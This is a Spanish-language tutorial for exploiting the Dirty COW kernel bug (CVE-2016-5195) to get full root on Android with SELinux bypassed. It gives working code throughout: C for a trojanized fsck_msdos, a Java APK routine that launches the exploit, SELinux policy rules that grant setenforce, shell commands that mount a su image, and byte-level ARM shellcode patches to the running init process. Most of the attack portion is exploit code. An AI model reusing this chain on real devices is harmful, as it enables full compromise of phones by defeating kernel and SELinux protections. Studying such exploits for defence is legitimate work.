

# Explotación de CVE-2016-5195

## Android (Bypass SeLinux)

**S.O.:**Linux

**Victima:**Android S.O.

**Protección:** Selinux

**Objetivo:** Root, contexto init

**Herramientas:** Ida/hopper/raddare, hexdiff, bless,arm-compiler.

**Dificultad:** B3P4t13nt.

1-Vulnerabilidad CVE-2016-5195

2-Seguridad en Android

3-SeLinux

4-Target->Init

5-Pivotando a Init.

6-Troyanizando fsck\_msdos

7-Apk

8-Parcheando Init

9-Exploit universal 32 bits lollipop

10-Notas finales

## 1-Vulnerabilidad CVE-2016-5195

Se trata de un bug del kernel el cual te permite sobrescribir páginas de memoria privadas mapeadas con permisos de lectura explotando una condición de carrera en la función madvise.

Como Linux usa mmap para mapear los ficheros en memoria podemos sobrescribir éstos y aún más, los procesos en ejecución también se podrán sobrescribir, con lo que tenemos posibilidad de ejecutar código ;)

Este fallo lleva unos 10 años el el kernel y en Android no hay parche actual en la versión de Noviembre de 2016.

Fue descubierto por Linus y no se arregló por la complejidad de la solución de esto hace ya unos 10 años XD, en fin...

En este tute no vamos a estudiar la vulnerabilidad en si, si no las vias en las que podremos conseguir privilegios elevados en android, en el texto nos referiremos a ella como dirtycow o exploit.

## 2-Seguridad en Android

En Android tenemos casi todas las protecciones en seguridad linux activadas para las últimas versiones:

-Aslr,nx,pae.

-system y boot permisos de lectura.

-SeLinux

-Dm-verity

Bien, ya podemos olvidarnos de stack y random address, porque no nos afectan en absoluto, en cambio las otras protecciones serán nuestras amigas a muerte ;)

Analizando la vulnerabilidad vemos que podemos sobrescribir algunos ficheros, en Android el directorio de sistema con ejecutables y configuraciones esta en:

/system (protección de escritura)

Lo más lógico es sobrescribir algún binario y forzar que root ejecute éste de alguna manera, bien este método funciona, pero no lograremos privilegios elevados aun siendo root, solo lo que selinux nos deje hacer.

Para entender bien la complejidad de este escenario debermos de leer la siguiente sección dedicada a selinux.

Por otro lado tenemos dm-verity que es el sistema de verificación de boot y system, la partición boot es la que contiene el root filesystem, el kernel y se encarga de arrancar el sistema.

Dm-verity es el encargado de comprobar modificaciones en estas dos particiones, si se detecta un cambio el dispositivo no arranca.

Para saltar dm-verity se debe modificar la partición boot, de hecho es trivial desempacar boot modificar el root filesystem y volverla a empacar pero si no tenemos un bootloader desbloqueado el dispositivo no arrancará.

Por lo que en dispositivos con bootloader bloqueado y dm-verity activado (Android 6), tenemos el tema del rooting calentito, solo nos queda modificar bootloaders o root temporal lo cual no está mal ;)

## 3-SeLinux

SeLinux es un sistema de control de acceso a funcionalidades del kernel, el cual autoriza o deniega a dominios a utilizar estas funcionalidades tales como write,sockets,mount,read,etc y mucho mas.

Bien a grosso modo podríamos decir que tenemos un firewall de syscalls en el sistema y este firewall tiene un fichero de reglas extenso para cada fichero del sistema y dominio.

Tenemos dominios,clases, tipos, permisos, y todo relacionado con directivas de allow, neverallow.

Un dominio es el contexto en el cual es ejecutado un programa, dependiendo de el contexto que sea tendrá unos permisos u otros, podrá ejecutar, listar, crear, leer, en ficheros que sean de un contexto accesible a este contexto.

Tenemos que aun ejecutando código con uid=0 (root) estamos atados a las reglas de Selinux, por ejemplo:

### •fsck\_msdos

Este binario es ejecutado por root cuando montamos/desmontamos la sdcard, si sobreescribimos éste con nuestro código obtendremos root con el **contexto vold** de fsck\_msdos el cual nos da acceso a:

-Open,write,read,search en ficheros tipo dev.

-Open,write,read,search en ficheros fuse sdcard.

Para android selinux < 6 este método es suficiente para poder ser root, ya que podemos acceder a las particiones boot y system con permisos de escritura:

```
int bytes_read=read(fd_src,buffer_copy,size);
write(fd_dst,buffer_copy,bytes_read);
```

Podemos parchear la partición para añadir ficheros, modificar ficheros,etc, los cambios serán vistos al reiniciar el dispositivo.

Cada dominio selinux podrá hacer lo que está destinado a hacer, en este caso fsck, netadm,debuggerd u otros daemons que se ejecutan como root nunca podrán ejecutar código, ni siquiera escribir o leer ficheros de disco aún menos abrir sockets, harán lo que su dominio les deje hacer en el dominio que vayan a actuar.

Si investigamos un poco el inicio de Android (linux) vemos que el primer proceso que se inicia “**init**”, se ejecuta con contexto **init selinux** el cual es la mano derecha del contexto **kernel selinux**, el cual es DIOS.

Bien es difícil resumir en unas lineas selinux, pero vamos a dejarlo aquí por ahora e iremos directos al grano el contexto init.

## 4-Target→Init

Este es el primer proceso que se ejecuta y también se encarga de procesar acciones tales como reiniciar el sistema y otros menesteres, inicia todo el sistema linux a nivel de daemons, montar particiones y asignar permisos en cada inicio en el ramdisk (root filesystem).

Después de iniciar el sistema se queda en un loop infinito, ahí es donde le vamos a entrar, localizando el loop e inyectando nuestro código, deberemos crear shellcode en arm e insertarlo en algún punto donde no se rompa la ejecución, init no puede reiniciarse o colgarse, el dispositivo se reiniciará, tampoco se puede debuggear.

Por suerte tenemos el código fuente de init ya que es opensource, ahí nos dará una guía para poder parchear correctamente el binario, está compilado estáticamente, con lo que no se puede acceder a libc, está integrada en código, podemos utilizarla o usar syscalls.

Nuestra shellcode se encargará de cargar un nuevo fichero de configuración selinux desactivándola, esto se consigue sobrescribiendo un fichero en `/sys/fs/selinux/load`, una vez desactivado selinux tendremos permisos reales y ejecutaremos nuestra shell root.

## 5-Pivotando a init.

Ahora que tenemos nuestro objetivo claro, necesitamos llegar a él, con los privilegios obtenidos con una aplicación apk no podemos leer init, con los privilegios obtenidos por el usuario shell (adb) tampoco.

Tambien necesitaremos acceder al fichero de configuración de selinux para copiarlo y crear uno nuevo con algunas reglas mas permisivas.

Si pensamos que estamos en un entorno Unix lo mas lógico es buscar un binario con el bit setuid, pero en Androids modernos no hay suid, se ha substituido por una regla selinux.

O sea que sí que hay suids pero a traves de Selinux, y el binario deberá ejecutar algo mas que setsuid, deberá obtener las “Capabilities” en código para poder ejecutar setsuid(0).

Ahora depende en que via vamos a explotar la vulnerabilidad:

**1-Adb shell, atacando un suid selinux o daemon(ordenador con usb requerido)**

**2-Apk, crear una aplicación on-clic root.**

Según el vector que escojamos la explotación será completamente diferente, para nuestro caso vamos a codear una aplicación apk que es mas cool aunque un poco mas laboriosa.

Como víctima para poder acceder a init y al fichero de configuración selinux escojemos fsck\_msdos.

Para provocar la ejecución de fsck\_msdos solo debemos montar nuestra tarjeta sdcard, con lo que escribiremos un código que substituirá fsck\_msdos por completo, esta vez no parcheamos zonas del binario, porque no está en ejecución y no hay peligro de inestabilidad en el sistema.

El nuevo fsck\_msdos debe comunicarse con nuestra aplicación apk, escojeremos /mnt/shell/emulated/0/ (/sdcard) como path para tener un canal de comunicación entre los 2 procesos, básicamente el apk escribirá comandos a un fichero /sdcard/exec.dat y nuestro fsck\_msdos estará comprobando este fichero para poder seguir la explotación.

Necesitamos comunicarnos con el proceso fsck\_msdos porque hay pasos en la explotación que fsck\_msdos no puede hacer sólo, recordemos que no puede ejecutar exec(selinux restricción), y tenemos que ejecutar un binario supolicy(parchear configuración selinux) que requiere de una librería externa la cual debe estar en el mismo directorio.

Podríamos incluir el código de parcheado selinux supolicy en nuestro fsck\_msdos ya que hay una versión open source, pero tenemos una limitación en la vulnerabilidad que estamos tratando: **el fichero a sobrescribir debe ser igual o mayor tamaño, nunca menor.**

El tema del tamaño nos limita un poco el código que vamos a ejecutar, fsck\_msdos es de unos **33kb** por lo que nuestro código no puede sobrepasar ese tamaño pero si menor, haciendo un strip despues de compilar reduciremos mucho y no habrá problemas.

Dentro de nuestro fsck incluiremos el código de dirtycow el cual lo utilizaremos para sobrescribir

el proceso init.

- Apk sobrescribe fsck\_msdos con nuestro troyano.
- Apk escribe la acción "init\_dump" en /sdcard/exec.dat
- Provocamos ejecución fsck\_msdos montando sdcard.
- Fsck\_msdos lee la acción /sdcard/exec.dat → "init\_dump"
- Fsck\_msdos copia fichero init y sepolicy a /sdcard/
- Fsck\_msdos a la espera en bucle.
- Apk parchea init y sepolicy en /sdcard/init.patch y /sdcard/sepolicy.patch
- Apk copia el sepolicy parcheado a /system/bin/exfatlocal
- Apk escribe la acción "dirtycow\_init" en /sdcard/exec.dat
- Fsck\_msdos detecta nueva acción y hace un dirtycow de /init con /sdcard/init.patch
- Apk espera hasta que el exploit envía una señal.
- Apk recibe señal, Init se ha sobrescrito, ejecuta wifi on
- En init nuestra shellcode es ejecutada en vez del manejador de acciones.
- Fsck\_msdos cambia a permissive y ejecuta su.

## 6-Troyanizando fsck\_msdos

Nuestro troyano debe copiar 2 ficheros(/init,/sepolicy) y esperar hasta que la apk parchee estos dos ficheros, como hemos dicho se comunicarán a través de /sdcard/exec.dat y también a través de /sdcard/root.log.

Apk enviará acciones al troyano fsck\_msdos a través de /sdcard/exec.dat

Nuestro troyano fsck\_msdos enviará respuestas a la apk a través de /sdcard/root.log

El pseudocódigo sería algo así:

- Crea semáforo para solo ejecutarse una vez
- Chequea la acción a ejecutar en /sdcard/exec.dat
- Si es la acción copia init y sepolicy a /sdcard/init.dmp y /sdcard/sepolicy.dmp
- Se queda a la espera de la apk parchee init y sepolicy.
- Recibe acción del apk para ejecutar el exploit y parchear init.
- Espera al exploit a finalizar.
- Recibe señal de init sobreescrito.
- Envía señal a apk de init sobreescrito en /sdcard/root.log
- Entra en bucle para desactivar selinux, copiando 0 en /sys/fs/selinux/enforce.
- Comprueba si se ha desactivado selinux.
- Si no se vuelve al bucle.
- Si se desactivó selinux se ejecuta "su daemon".

•Fsck\_msdos crea semaforo:

```
if(file_exist("/mnt/shell/emulated/0/exec.lck")){
    printf("Exist lock exiting\n");
    return 0;
}
//Create a lock for execute only one time
FILE *fplock=fopen("/mnt/shell/emulated/0/exec.lck","w+");
fclose(fplock);
```

•Leemos la acción a ejecutar:

```
FILE *fp_action=fopen("/mnt/shell/emulated/0/exec.dat", "r");
if(fp_action==NULL){
    printf("No execute action.\n");
    return 0;
}
char *action = NULL;
int len=0;
if(getline(&action, &len, fp_action) == -1){
    printf("No execute action.\n");
    return 0;
}
```



·Comprobamos acción "init\_dump" → copiamos init y sepolicy y entramos en bucle a la espera:

```
if(strstr(action,"init_dump")){
    printf("Dumping init.\n");
    copy_file(INIT,"/mnt/shell/emulated/0/init.dmp",0,0);
    printf("Dumping sepolicy.\n");
    copy_file(SEPOLICY,"/mnt/shell/emulated/0/sepolicy.dmp",0,0);
    while(i<wait_patch){
        fprintf(fp,".");
        fflush(fp);
        sleep(1);
        fclose(fp_action);
        fp_action=fopen("/mnt/shell/emulated/0/exec.dat", "r");
        if(fp_action==NULL){
            continue;
        }
        action = NULL;
        int exec_dirtycow=0;
        if(getline(&action, &len, fp_action) != -1){
            if(strstr(action,"dirtycow_init")){
                fclose(fp);
                fp=fopen("/mnt/shell/emulated/0/root.log", "w");
                fprintf(fp,"->Exploiting init, please wait.\n");
                fflush(fp);
                dirtycow_init();
                break;
            }
        }
        i++;
    }
}
```

·Detectamos init sobrescrito (función madvise del exploit ha finalizado)  
-->bucle desactiva selinux

```
while(1<100){
    fclose(fp);
    fp=fopen("/mnt/shell/emulated/0/root.log", "w");
    fprintf(fp,"->Waiting root.\n");
    fflush(fp);
    set_permissive();
    if(check_permissive()==1){
        PERMISSIVE=1;
        exec_su();
        break;
    }
    sleep(5);
}
```

·Si selinux==Permissive->game over-> ejecutamos su temporal.

```
int exec_su(){
    system("/data/data/com.croowrpwn.croowt/files/busybox mknod /dev/sutmp b 7
200");
    system("/data/data/com.croowrpwn.croowt/files/busybox losetup /dev/sutmp
/data/data/com.croowrpwn.croowt/files/su.img");
    system("/data/data/com.croowrpwn.croowt/files/busybox mount /dev/sutmp
/system/sbin/");

    system("/system/sbin/su -d");
    fclose(fp);
    fp=fopen("/mnt/shell/emulated/0/root.log", "w");
    fprintf(fp,"->Success r00t.\n");
    fflush(fp);
}
```



La manera de hacer un root a un dispositivo es instalando el binario “su” en /system/sbin/su, o en cualquier path accesible y ejecutándolo en daemon mode.

Pero en nuestro entorno no tenemos privilegios para montar /system o / (root) en write, recordemos que Android >6 tiene estas protecciones, por lo que montamos una imagen ext4 su.img con el binario su en /system/sbin.

Y lo ejecutamos con el argumento -d:

/system/sbin/su -d

Con esto ya tenemos el daemon su en background sirviendo peticiones su al usuario.

En versiones anteriores de android no era necesario un daemon su, simplemente colocando un su con el bit setuid ya elevábamos privilegios, con selinux nop.

## 7-Apk

La apk debe estar sincronizada con nuestro troyano a través del fichero /sdcard/exec.dat por la cual le envía comandos, y también por el fichero /sdcard/root.log por la cual recibe los logs del troyano.

- Lanzará el exploit para sobrescribir fsck\_msdos.
- Avisará al usuario para desmontar/montar la sdcard.
- Esperará que nuestro **troyano fsck\_msdos** copie /init y /sepolicy a /sdcard/init.dmp /sdcard/sepolicy.dmp
- Parchea init con nuestra shellcode->/sdcard/init.patch
- Parchea sepolicy para dar permisos al **contexto** fsck\_msdos **bold**->/sdcard/sepolicy.patch
- Lanzará exploit dirtycow para sobrescribir fichero /system/bin/exfatlabel con nuestra sepolicy parcheada en /sdcard/sepolicy.patch
- Enviará comando al troyano fsck\_msdos "dirtycow\_init" a través de /sdcard/exec.dat
- Queda a la espera de recibir respuesta del troyano en /sdcard/root.log
- Recibe respuesta init sobrescrito, ejecuta acción **wifi on-->Shellcode ejecutada.**
- Somos r00t.

· Thread para ejecutar el exploit y sobrescribir fsck\_msdos original:

```
public void execExploit(Activity activity){
    try {
        String exec="#!/system/bin/sh\n"
            +DIRTYCOW+
            " "+APP_TARGET+
            " "+APP_TARGET_PATCHED;
        createScripts(activity,exec,EXPLOIT_SH);
        Thread thread = new Thread() {
            @Override
            public void run() {
                try {
                    this.setPriority(MAX_PRIORITY);
                    sleep(1000);
                    Shell.exec(EXPLOIT_SH);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        };
        thread.start();
    } catch (Exception e) {
        e.printStackTrace();
    }
}
```

Esta función la utilizaremos para:

- Sobreescribir /system/bin/fsck\_msdos por nuestro troyano.
- Sobreescribir /system/bin/exfatlabel con la sepolicy parcheada.

**NOTA: Debemos utilizar dirtycow otra vez para pasar la nueva sepolicy (selinux config) a un fichero visible por init, éste no puede ver /sdcard/ por permisos de selinux aun siendo muy privilegiado tiene algunas restricciones.**

Pero encontrar un fichero de igual tamaño que nuestra sepolicy.patch dentro de /system va a ser un **PROBLEMA**.

**Sepolicy.patched->273819**

**Exfatlabel----->300396**

Las buenas nuevas son que nuestra shellcode en init leera la sepolicy desde /system/bin/exfatlabel, o cualquier otro ejecutable no importa que el tamaño sea mayor mientras todo el fichero de configuración este bien escrito.

Supongo que el kernel parsea de principio a fin y aunque hayan bytes basuras al final carga la nueva configuración correctamente, por lo que podemos sortear este problema.



## · Desactivar SELINUX

Para desactivar selinux debemos escribir 0 en un fichero de configuracion en:

`/sys/fs/selinux/enforce`

Con esto pasaremos a permissive con lo que quedarán solo los logs a dmesg activados, pero selinux estará inactiva.

Solo con que fsck\_msdos logre escribir un 0 en ese fichero ya tenemos nuestro enemigo abatido.

Pero fsck\_msdos se ejecuta en contexto **vold** el cual no tiene acceso a ese fichero que es del contexto tipo **selinuxfs**, por eso debemos generar un nuevo fichero de configuración selinux con algunas reglas mas permisivas para **vold**.

Para parchear ficheros de configuración selinux utilizaremos un binario de chainfire **supolicy** el desarrollador de su, su funcionamiento es fácil:

`supolicy -file sepolicy_orig sepolicy_patch "regla selinux"`

Para añadir una regla dando permisos al contexto **vold**:

```
'allow vold selinuxfs file {write}'
```

Nos falta una regla más, paraa cambiar selinux de enforce a permissive **vold** necesitará de un permiso especial:

```
'allow vold kernel security {setenforce}'';
```

Bien con estas dos reglas añadidas tendremos nuestro nuevo fichero listo para dar privilegios al

contexto **bold** y así poder cambiar selinux a modo permissive.

Para cargar una nueva configuración selinux se debe copiar el fichero nuevo al directorio:

*/sys/fs/selinux/load*

De esto se encargará la shellcode en init que corre en el contexto init.

Una vez parcheado todo y copiado el nuevo fichero a /system/bin/exfatlabel, se envía la señal “dirtycow\_init” a /sdcard/exec.dat con lo que nuestro troyano fsck\_msdos despertará del bucle y sobrescribirá init.

Se quedará a la espera de una respuesta del troyano, cuando ésta llegue (init sobrescrito) activará el wifi on o off con lo que nuestra shellcode en init será ejecutada y nuestro troyano tendrá privilegios para desactivar selinux e instalará su temporal.

## 8-Parcheando init

Debemos escribir una shellcode en arm que copie en `/sys/fs/selinux/load` nuestra nueva configuración en `/system/bin/exfatlabel`.

Modificar un salto en init para que salte a nuestra shellcode y nopear una llamada a función que nos fastidia un poco.

Nuestro punto de inyección es el **bucle while infinito** cuando el sistema está ya iniciado, el fichero código fuente `init.c` es muy pequeño, pero al estar compilado estáticamente el ensamblado aumenta y se hace un poco ilegible.

Código fuente `init.c` google aosp:

```
am.QueueBuiltinAction(queue_property_triggers_action, "queue_property_triggers");
while (true) {
    if (!waiting_for_exec) {
        am.ExecuteOneCommand();
        restart_processes();
    }
    int epoll_timeout_ms = -1;
    if (process_needs_restart_at != 0) {
        epoll_timeout_ms = (process_needs_restart_at - time(nullptr)) * 1000;
        if (epoll_timeout_ms < 0) epoll_timeout_ms = 0;
    }
    if (am.HasMoreCommands()) epoll_timeout_ms = 0;
    bootchart_sample(&epoll_timeout_ms);
    epoll_event ev;
    int nr = TEMP_FAILURE_RETRY(epoll_wait(epoll_fd, &ev, 1, epoll_timeout_ms));
    if (nr == -1) {
        PLOG(ERROR) << "epoll_wait failed";
    } else if (nr == 1) {
        ((void (*)(void*)) ev.data.ptr)();
    }
}
```

En el código fuente de `init.c`, se hace referencia a una cadena justo antes del bucle:

```
queue_property_triggers
```

Buscaremos en IDA esa cadena para poder encontrar referencias a ella:

```
.rodata:00038C45 aQueue_property DCB "queue_property_triggers",0 ; DATA XREF:
sub_88E0+3BC0
```

Hacemos click en el DATA XREF nos lleva a **00008C9C**:

```
.text:00008C9C      ADD      R1, PC ; "queue_property_triggers"
.text:00008C9E      MOV      R4, R5
.text:00008CA0      BL       sub_F17C
.text:00008CA4      LDR      R1, =(dword_4550C - 0x8CAC)
.text:00008CA6      LDR      R2, =(unk_45610 - 0x8CB0)
.text:00008CA8      ADD      R1, PC ; dword_4550C
.text:00008CAA      STR      R1, [SP,#0xD8+var_C8]
.text:00008CAC      ADD      R2, PC ; unk_45610
.text:00008CAE      STR      R2, [SP,#0xD8+var_C4]
.text:00008CB0      BL       sub_AE64
```

Y 9 instrucciones después tenemos el principio del bucle **00008CB0**:

```
.text:00008CB0      BL       sub_AE64
```

Veamos el pseudocódigo en IDA (F5).

En IDA tenemos una opción interesante que es la sincronización entre vistas, por lo que si andamos un poco perdidos, podremos sincronizar las vistas dissassembly ← - → Pseudocode.

Esto se hace con el boton derecho → synchronize en el código dissassembly.

Una vez sincronizadas podemos clickar en cualquier offset del dissassembly y cuando volvamos a la pantalla pseudocode estaremos en la misma offset pero en el listado de pseudocode.

Ahora podemos ver bien donde empieza y acaba el bucle en assembler sin perdernos en el código init compilado estático.

Veamos el código decompilado en IDA:

```
v35 = sub_F17C(sub_A23C, "queue_property_triggers");
while ( 1 )
{
    sub_AE64(v35);
    dword_4550C = 0;
    v36 = sub_EFB0(8, sub_AD14);
    if ( !v33 )
    {
        v36 = sub_CF84(v36);
        if ( v36 <= 0 )
            goto LABEL_41;
        v36 = sub_CF84(v36);
        v37 = &v66 + 8 * v34++;
        *((_WORD *)v37 - 70) = 1;
        *((_WORD *)v37 - 69) = 0;
        *((_DWORD *)v37 - 36) = v36;
    }
    v33 = 1;
LABEL_41:
    if ( !v32 )
    {
        v36 = sub_DF58(v36);
        if ( v36 <= 0 )
            goto LABEL_45;
        v36 = sub_DF58(v36);
```

```

    v38 = &v66 + 8 * v34++;
    *((_WORD *)v38 - 70) = 1;
    *((_WORD *)v38 - 69) = 0;
    *((_DWORD *)v38 - 36) = v36;
}
v32 = 1;
LABEL_45:
if ( !v31 )
{
    v36 = sub_DCB8(v36);
    if ( v36 <= 0 )
        goto LABEL_49;
    v39 = sub_DCB8(v36);
    v40 = &v66 + 8 * v34;
    *((_WORD *)v40 - 69) = 0;
    *((_DWORD *)v40 - 36) = v39;
    v36 = 1;
    ++v34;
    *((_WORD *)v40 - 70) = 1;
}
v31 = 1;
LABEL_49:
v41 = dword_4550C;
if ( dword_4550C )
{
    v36 = sub_D398(v36);
    v42 = 1000 * (v41 - v36) & ~(1000 * (v41 - v36) >> 31);
}
else
{
    v42 = -1;
}
if ( sub_F1F8(v36) )
{
    if ( dword_45514 )
        v42 = 0;
}
else
{
    v42 = 0;
}
v35 = sub_23EAC(v52, v34, v42);
v43 = v35;
while ( 1 )
{
    v44 = unk_45610;
    if ( !unk_45610 )
        break;
    sub_13374(6, "<6>init: Reboot is in progress\n");
    v35 = sub_256DC(1000000);
}
if ( v43 > 0 )
{
    v45 = unk_45610;
    while ( v45 < v34 )
    {
        v46 = *((_WORD *)((char *)&v52[1] + v44 + 2));
    }
}

```



```

        if ( v46 & 1 )
        {
            v47 = *(int *)((char *)v52 + v44);
            v48 = sub_CF84(v35);
            if ( v47 == v48 )
            {
                v35 = sub_CA64(v48);
            }
            else
            {
                v49 = *(int *)((char *)v52 + v44);
                v50 = sub_DCB8(*(int *)((char *)v52 + v44));
                if ( v49 == v50 )
                {
                    v35 = sub_DC0C(v50);
                }
                else
                {
                    v51 = *(int *)((char *)v52 + v44);
                    v35 = sub_DF58(v50);
                    if ( v51 == v35 )
                        v35 = sub_DCE4(v35);
                }
            }
        }
        ++v45;
        v44 += 8;
    }
}

```

Un poco diferente por el tema de que está compilado estático y tal pero nos da una gran pista para encontrar nuestros puntos de parcheo.

Después de un ratito buscando el bucle while y haciendo pruebas parcheando llegué a esta conclusión:

- No puedo poner muchos nops seguidos, reinicio :P
- No puedo poner muchas instrucciones iguales, reinicio :P
- No puedo llamar a syscall execv, reinicio!!!
- No puedo parchear init, reinicio !!!!
- No puedo cambiar a permissive, init está capado!!!!

Todas estas restricciones me costaron unas cuantas decenas de reinicios, pobre xperia, pero en este dispositivo tenía la particularidad que se rebotaba aun cuando parcheaba zonas que no se ejecutaban.

Y ahí buscando di con el salto a la función que manejaba las acciones, tales como rebotar, entonces cambié el flujo desde ahí a mi función y de ahí volviendo al principio del bucle.

Esta parte de código es el final del bucle infinito, con los saltos al inicio (offset 8CB0).

.text:00008DA8

CMP.W

R10, #0

.text:00008DAC	BLE	loc_8CB0 ---->Salto a inicio bucle
.text:00008DAE	MOV	R11, R7
.text:00008DB0		
.text:00008DB0	CMP	R11, R4
.text:00008DB2	BGE.W	loc_8CB0 ---->Salto a inicio de bucle
.text:00008DB6	ADDS	R2, R6, R7

Viendo esto vemos que podríamos parchear 8DAC para saltar a nuestro shellcode F23C, luego en nuestra shellcode llamaremos a BL LR y volveremos al flujo normal a 8DAE

Parcheamos 4 bytes:

.text:00008DAC 06 F0 46 FA	BL	sub_F23C
----------------------------	----	----------

Si seguimos viendo el código en 8DAE, se hacen un mov y luego un cmp y se vuelve a saltar al inicio del bucle si la condición se cumple, en los dos casos la máquina se reinicia.

Haciendo pruebas veo que si nopeamos el salto y dejamos que siga se reinicia ya que se queda en un bucle infinito.

Es necesario que retorne al inicio del bucle main para un correcto funcionamiento, el problema está en que en el principio del bucle tenemos un salto hacia el “manejador de acciones” y este rebotará la máquina.

El porqué de esta acción es algo esotérico en este xperia, pero bueno saberlo para así poder parchear una buena zona, la que maneja el reinicio del dispositivo por fallo o por lo que sea ;)

Bien entonces deberemos parchear también el inicio del bucle que es:

.text:00008CB0 02 F0 D8 F8	BL	sub_AE64 -->Este es el inicio del bucle
.text:00008CB4 04 98	LDR	R0, [SP, #0xD8+var_C8]
.text:00008CB6 A9 49	LDR	R1, =(sub_AD14+1

En el offset 08CDB0 tenemos el inicio del bucle que salta incondicionalmente a AE64 y en la función AE64 tenemos el manejador de acciones que nos estorba, parchearemos ese jmp para que no se ejecute y continúe el bucle main principal con su flujo original, por ahora los registros tal como vienen de nuestra shellcode no alteran el flujo

Parcheamos 4 bytes con 41's ;)

.text:00008CB0 41 41	ADCS	R1, R0
.text:00008CB2 41 41	ADCS	R1, R0

Por último donde poner la shellcode, en arm assembler los saltos son relativos al pc(program counter), la pondremos no muy lejos de nuestro código en una zona que no afecte por ejemplo F23C:

.text:0000F23C FE B4	PUSH	{R1-R7}	;Guarda registros
.text:0000F23E 24 1B	SUBS	R4, R4, R4	;r4=0

```

.text:0000F240 DB 1A      SUBS      R3, R3, R3      ;r3=0
.text:0000F242 04 F5 88 23 ADD.W     R3, R4, #0x44000
.text:0000F246 03 F5 70 64 ADD.W     R4, R3, #0xF00
.text:0000F24A 04 F1 A4 03 ADD.W     R3, R4, #0xA4    ;r3=0x44fa4
.text:0000F24E 1C 68      LDR       R4, [R3]        ;Coge el valor de R3
.text:0000F250 41 2C      CMP       R4, #0x41      ;compara con 0x41
.text:0000F252 2C D0      BEQ       loc_F2AE      ;ya se ejecutó->return
.text:0000F254 41 24      MOVS      R4, #0x41      ;copia 0x41 en [r3]0x44fa4
.text:0000F256 1C 60      STR       R4, [R3]
.text:0000F258 0F F2 83 00 ADR.W     R0, aSysFsSelinuxLo ; r0="/sys/fs/selinux/load"
.text:0000F25C 01 21      MOVS      R1, #1        ; r1=1(WRITE)
.text:0000F25E 05 27      MOVS      R7, #5        ;r7=5->syscall OPEN
.text:0000F260 01 DF      SVC       1            ;call syscall (OPEN)
.text:0000F262 80 46      MOV       R8, R0        ;r8=fd /sys/fs/selinux/load
.text:0000F264 0F F2 60 00 ADR.W     R0, aSystemBinExfat;r0= "/system/bin/exfatlabel"
.text:0000F268 00 21      MOVS      R1, #0        ;r1=0 (READ)
.text:0000F26A 01 DF      SVC       1            ;call syscall (OPEN)
.text:0000F26C 00 28      CMP       R0, #0        ;comprueba acceso fichero
.text:0000F26E 00 DC      BGT       loc_F272      ; fd correcto ->seguimos
.text:0000F270 1D E0      B         loc_F2AE      ; no acceso->return
.text:0000F272 81 46      MOV       R9, R0        ;r9=fd /system/bin/exfatlabel
.text:0000F274 00 21      MOVS      R1, #0        ;r1=0 arg lseek offset
.text:0000F276 02 22      MOVS      R2, #2        ;r2=2 arg lseek SEEK_END
.text:0000F278 13 27      MOVS      R7, #0x13     ;r7=0x13 syscall LSEEK
.text:0000F27A 01 DF      SVC       1            ; call syscall (LSEEK)
.text:0000F27C 82 46      MOV       R10, R0       ;r10=size /system/bin/exfatlabel
.text:0000F27E 48 46      MOV       R0, R9        ;r0=fd /system/bin/exfatlabel
.text:0000F280 00 21      MOVS      R1, #0        ;r1=0 arg lseek offset
.text:0000F282 00 22      MOVS      R2, #0        ;r2=0 arg lseek SEEK_SET
.text:0000F284 13 27      MOVS      R7, #0x13     ;r7=0x13 syscall LSEEK
.text:0000F286 01 DF      SVC       1            ; call syscall (LSEEK)->mov inicio.
.text:0000F288 00 20      MOVS      R0, #0        ;r0=0 arg mmap addr
.text:0000F28A 51 46      MOV       R1, R10       ; r1=r10->file_size arg mmap size
.text:0000F28C 01 22      MOVS      R2, #1        ;r2=1 arg mmap prot
.text:0000F28E 02 23      MOVS      R3, #2        ;r3=2 arg mmap flags
.text:0000F290 4C 46      MOV       R4, R9        ;r4=fd /system/bin/exfatlabel arg mmap
.text:0000F292 00 25      MOVS      R5, #0        ;r5=0 arg mmap offset
.text:0000F294 C0 27      MOVS      R7, #0xC0     ; r7=0xc0 syscall mmap
.text:0000F296 01 DF      SVC       1            ;call syscall (MMAP)
.text:0000F298 01 46      MOV       R1, R0        ;r1=puntero mmap exfatlabel
.text:0000F29A 5F EA 08 00 MOVS.W     R0, R8        ;r0=fd /sys/fs/selinux/load arg write
.text:0000F29E 5F EA 0A 02 MOVS.W     R2, R10       ;r2=size arg write
.text:0000F2A2 4F F0 04 07 MOV.W      R7, #4        ;r7=0x4 syscall WRITE
.text:0000F2A6 01 DF      SVC       1            ;call syscall (WRITE)
.text:0000F2A8 02 46      MOV       R2, R0        ; codigo basura
.text:0000F2AA 4F F0 16 02 MOV.W      R2, #0x16     ; codigo basura
.text:0000F2AE 04 2F      CMP       R7, #4        ; codigo basura
.text:0000F2B0 48 45      CMP       R0, R9        ; codigo basura
.text:0000F2B2 00 2F      CMP       R7, #0        ; codigo basura
.text:0000F2B4 07 2A      CMP       R2, #7        ; codigo basura
.text:0000F2B6 04 25      MOVS      R5, #4        ; codigo basura
.text:0000F2B8 40 46      MOV       R0, R8        ;r0=fd /sys/fs/selinux/load
.text:0000F2BA 06 27      MOVS      R7, #6        ;r7=0x6 syscall close
.text:0000F2BC 01 DF      SVC       1            ;call syscall (CLOSE)
.text:0000F2BE 48 46      MOV       R0, R9        ;r0=fd /system/bin/exfatlabel
.text:0000F2C0 06 27      MOVS      R7, #6        ;r7=0x6 syscall close
.text:0000F2C2 01 DF      SVC       1            ;call syscall (CLOSE)
.text:0000F2C4 FE BC      POP       {R1-R7}      ;recuperamos registros
.text:0000F2C6 70 47      BX       LR            ;return

```

```
.text:0000F2C8 2F 73 79 73+aSystemBinExfat DCB "/system/bin/exfatlabel",0
.text:0000F2C8 74 65 6D 2F+ ; DATA XREF: sub_F23C+28#o
.text:0000F2DF 2F 73 79 73+aSysFsSelinuxLo DCB "/sys/fs/selinux/load",0
```

### Pseudocódigo:

```
Push registros----> Salva registros.
Checkea si se ha ejecutado comprobando una cookie(0x41) en el segmento .data OFFSET 44FA4
Si se ha ejecutado se va al return si no continua, FIRST_TIME
Se guarda la cookie (0x41) en el segmento .data OFFSET 44FA4
Open fd1 (r/w)-->/sys/fs/selinux/load (archivo de selinux para cargar configuraciones)
Open fd2 (r)---->/system/bin/exfatlabel (nuestro archivo de configuración selinux permisivo).
Lseek fd2-----> Obtener tamaño fd2
Lseek fd2-----> Mover puntero fd2 al principio.
Mmap fd2-----> Mapeamos memoria con el contenido de fd2
Write fd1 -----> Escribimos el contenido del map en fd1
Close fd1-----> Cerramos descriptor fd1
Close fd2-----> Cerramos descriptor fd2
Pop registros--> Recupera los registros.
